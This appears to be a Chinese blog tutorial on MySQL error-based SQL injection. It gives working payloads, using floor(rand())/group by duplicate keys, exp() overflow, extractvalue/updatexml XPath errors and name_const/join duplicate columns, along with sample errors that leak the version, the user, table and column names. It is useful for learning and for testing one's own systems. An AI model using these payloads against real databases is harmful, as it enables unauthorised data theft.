zoukankan      html  css  js  c++  java
  • mysql报错型注入

    • concat+rand()+group_by()导致主键重复

    mysql Bug 8652

    group by 对一些rand()函数进行操作时会返回duplicate key 错误,而这个错误将会披露关键信息

    "Duplicate entry '####' for key 1"

    这里的####正是用户输入的希望查询的内容
    而该bug产生的主要原因就是:在rand()和group by同时使用到的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询

    Select 1,count(*),concat(0x23,0x23,(select database()),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a

    • BIGINT等数据类型溢出

    select (exp(~(select * from (select user())a))),2,3;

    在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况,在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算运算即可

    • Xpath语法错误

    从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:

    mysql> select extractvalue(1,'/a/b');
    +------------------------+
    | extractvalue(1,'/a/b') |
    +------------------------+
    |                        |
    +------------------------+
    1 row in set (0.00 sec)
    
    mysql> select updatexml(1,'/a/b',1);
    +-----------------------+
    | updatexml(1,'/a/b',1) |
    +-----------------------+
    | 1                     |
    +-----------------------+
    1 row in set (0.00 sec)

    它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里

    mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
    ERROR 1105 (HY000): XPATH syntax error: '~5.5.53~'
    
    mysql> select extractvalue(1,concat(0x7e,(select user()),0x7e));
    ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
    
    mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~security~'
    
    mysql> select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~emails,referers,uagents,users~'

    注意:extractvalue()和updatexml()报错信息是有长度限制的,最大长度限制32位。

    • 数据库的一些特性

    利用数据库的一些特性产生报错信息。

    列名重复

    mysql列名重复会报错,我们利用name_const来制造一个列,根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式。

    mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
    ERROR 1060 (42S21): Duplicate column name '5.5.53'

    利用这个特性加上join函数可以爆列名:

    mysql> select * from(select * from users a join users b)c;
    ERROR 1060 (42S21): Duplicate column name 'id'
    mysql> select * from(select * from users a join users b using(id))c;
    ERROR 1060 (42S21): Duplicate column name 'username'
    mysql> select * from(select * from users a join users b using(id,username))c;
    ERROR 1060 (42S21): Duplicate column name 'password'

     

     

     

  • 相关阅读:
    作为计算机专业的过来人:想学好C 语言,你必须要知道这3个原因(强烈推荐)
    C语言从1972年诞生至今,能够恒久不衰,是怎么做到的?
    这4种胜过C语言的 C++ 强制转换方法,真的好用到爆...(建议收藏)
    一纸学历证书真的胜过多年工作经验吗?HR更看重程序员什么地方?
    《个人-GIT使用方法》
    java Comparable 和 Cloneable接口
    Java 文本I/O 处理
    java 异常处理
    java的一维数组
    java中String类型
  • 原文地址:https://www.cnblogs.com/JKding233/p/11572602.html
Copyright © 2011-2022 走看看